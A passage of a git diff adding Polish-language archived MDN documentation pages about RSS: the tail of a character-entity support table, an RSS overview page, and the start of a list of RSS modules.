+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Ocirc;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ô&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;ograve;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ò&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Ograve;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ò&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;ordf;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ª&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;ordm;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;º&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;oslash;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ø&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Oslash;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ø&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;otilde;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;õ&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Otilde;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Õ&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;ouml;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ö&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Ouml;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ö&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;para;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;¶&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;pound;&lt;/td&gt;
+&lt;td&gt;&amp;#163;&lt;/td&gt;
+&lt;td&gt;£&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;plusmn;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;±&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;raquo;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;»&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;reg;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;®&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;sect;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;§&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;shy;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;­&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;sup1;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;¹&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;sup2;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;²&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;sup3;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;³&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;szlig;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ß&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;thorn;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;þ&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;THORN;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Þ&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;times;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;×&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;uacute;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ú&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Uacute;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ú&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;ucirc;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;û&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Ucirc;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Û&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;ugrave;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ù&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Ugrave;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ù&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;uml;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;¨&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;uuml;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ü&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Uuml;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ü&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;yacute;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ý&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Yacute;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Ý&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;yen;&lt;/td&gt;
+&lt;td&gt;&amp;#165;&lt;/td&gt;
+&lt;td&gt;¥&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;yuml;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;ÿ&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;/table&gt;
+<table class="fullwidth-table">
+<tbody><tr>
+<th rowspan="2">Encja&lt;/td&gt;
+<p>&lt;th rowspan="2"&gt;Dziesiętny&lt;/td&gt;
+&lt;th rowspan="2"&gt;Znak&lt;/td&gt;
+</p>
+&lt;th colspan="9" style="text-align:center"&gt;<a href="pl/RSS/Wersje">Wersje RSS</a></th>
+</tr></tbody></table>{{ languages( { "en": "en/RSS/Entity", "fr": "fr/RSS/Entit\u00e9s" } ) }}
diff --git a/files/pl/archive/rss/index.html b/files/pl/archive/rss/index.html
new file mode 100644
index 0000000000..3a975b352a
--- /dev/null
+++ b/files/pl/archive/rss/index.html
@@ -0,0 +1,18 @@
+---
+title: RSS
+slug: Archive/RSS
+tags:
+ - RSS
+ - Wszystkie_kategorie
+translation_of: Archive/RSS
+---
+<p><span>"Getting Started" box, if there is no "Getting Started" article yet written, should be populated with another feature article or tutorial, should one exist. Otherwise, just comment it out</span></p>
+<div class="callout-box"><strong><a href="/pl/RSS/Na_początek" title="pl/RSS/Na_początek">Na początek</a></strong><br>
+Kurs RSS-a dla początkujących.</div>
+<p><strong>Really Simple Syndication (RSS)</strong> jest podobnym do <a href="/pl/HTML" title="pl/HTML">HTML</a>-a, bazowanym na <a href="/pl/XML" title="pl/XML">XML</a>-u formatem danych używanym syndykacji. RSS posiada złożoną historię oraz wiele różnych, niekompatybilnych <a href="/pl/RSS/Wersje" title="pl/RSS/Wersje">wersji</a>. (Niektóre bazowane na <a href="/pl/RDF" title="pl/RDF">RDF</a>-ie, ale większość bazowana na <a href="/pl/XML" title="pl/XML">XML</a>-u.) Mimo to, RSS jest niezwykle popularnym formatem używanym do syndykacji wiadomości, postów na blogach, w IPradio i IPTV.</p>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Dokumentacja"><a href="/Special:Tags?tag=RSS&amp;language=pl" title="Special:Tags?tag=RSS&amp;language=pl">Dokumentacja</a></h4> <p><span>; <a href="/pl/RSS/Artykuły/Why_RSS_Slash_is_Popular_-_Counting_Your_Comments">Why RSS Slash is Popular - Counting Your Comments</a>: &lt;small&gt;Charles Iliya Krempeaux talks about the RSS Slash Module, why it is popular among some, and how it is used to give a ''count'' for your comments.&lt;/small&gt;  ; <a href="/pl/RSS/Artykuły/Why_Well-Formed Web_RSS_Module_is_Popular_-_Syndicating_Your_Comments">Why Well-Formed Web RSS Module is Popular - Syndicating Your Comments</a>: &lt;small&gt;Charles Iliya Krempeaux talks about the RSS Well-Formed Web Module, why it is popular among some, and how it is used to link to your comments.&lt;/small&gt;</span></p> <dl> <dt><a class="external" href="http://diveintomark.org/archives/2004/02/04/incompatible-rss">Mit kompatybilności RSS</a></dt> <dd><small>Mark Pilgrim opowiada o brudnej historii RSS i wylicza poszczególne detale niezgodności pomiędzy poszczególnymi wersjami.</small></dd> </dl> <dl> <dt><a class="external" href="http://www.tbray.org/ongoing/When/200x/2005/07/27/Atomic-RSS">Atomic RSS</a></dt> <dd><small>Tim Bray opowiada o użyciu Atom 1.0 jako mikro formatu i rozszerzenia modułu RSS 2.0; Używaj nadal format syndykacji RSS 2.0, lecz rozpocznij używać elementów Atom 1.0.</small></dd> </dl> <p><br> <span><a href="/Special:Tags?tag=RSS&amp;language=pl" title="Special:Tags?tag=RSS&amp;language=pl">Pokaż wszystkie...</a></span></p> </td> <td> <h4 id="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h4> <ul> <li>Obejrzyj fora Mozilli...</li> </ul> <p>{{ DiscussionList("dev-tech-xml", "mozilla.dev.tech.xml") }}</p> <h4 id="Powi.C4.85zane_tematy">Powiązane tematy</h4> <dl> <dd><a href="/pl/RDF" title="pl/RDF">RDF</a>, <a href="/pl/XML" title="pl/XML">XML</a></dd> </dl> <p> </p> </td> </tr> </tbody>
+</table>
+<p><br>
+<span>Interwiki Language Links</span></p>
+<p> </p>
+<p>{{ languages( { "en": "en/RSS", "es": "es/RSS", "fr": "fr/RSS", "it": "it/RSS", "ja": "ja/RSS", "ko": "ko/RSS", "pt": "pt/RSS" } ) }}</p>
diff --git a/files/pl/archive/rss/moduły/index.html b/files/pl/archive/rss/moduły/index.html
new file mode 100644
index 0000000000..2de3bdbedc
--- /dev/null
+++ b/files/pl/archive/rss/moduły/index.html
@@ -0,0 +1,16 @@
+---
+title: Moduły
+slug: Archive/RSS/Moduły
+tags:
+ - RSS
+ - Wszystkie_kategorie
+translation_of: Archive/RSS/Module
+---
+<p>
+</p>
+<h2 id="Lista_modu.C5.82.C3.B3w_RSS" name="Lista_modu.C5.82.C3.B3w_RSS"> Lista modułów RSS </h2>
+<p>Moduły RSS są mikroformatami włączonymi do dokumentu RSS poprzez użycie przestrzeni nazw <a href="pl/XML">XML</a>. Są one sposobem na rozszerzenie RSS. Poniżej znajduje się lista najpopularniejszych modułów RSS.
+</p>
+<table class="standard-table"> <tbody><tr> <th>Nazwa</th> <th>Przedrostek</th> <th>Status</th> <th>Data wydania</th> <th>Autor</th> </tr> <tr> <td><a href="pl/RSS/Modu%c5%82y/Atom">Atomic RSS</a></td> <td>atom</td> <td> </td><td>27 lipca 2005</td> <td>Tim Bray</td> </tr> <tr> <td><a href="pl/RSS/Modu%c5%82y/blogChannel">blogChannel</a></td> <td> </td><td> </td><td>17 września 2002</td> <td>Dave Winer</td> </tr> <tr> <td><a href="pl/RSS/Modu%c5%82y/Content">Content</a></td> <td>content</td> <td> </td><td> </td><td> </td></tr> <tr> <td><a href="pl/RSS/Modu%c5%82y/creativeCommons">creativeCommons</a></td> <td>cc</td> <td> </td><td>16 grudnia 2002</td> <td>Dave Winer</td> </tr> <tr> <td><a href="pl/RSS/Modu%c5%82y/Dublin_Core">Dublin Core</a></td> <td>dc</td> <td> </td><td> </td><td> </td></tr> <tr> <td><a href="pl/RSS/Modu%c5%82y/Slash">Slash</a></td> <td>slash</td> <td> </td><td> </td><td> </td></tr> <tr> <td><a href="pl/RSS/Modu%c5%82y/Well-Formed_Web">Well-Formed Web</a></td> 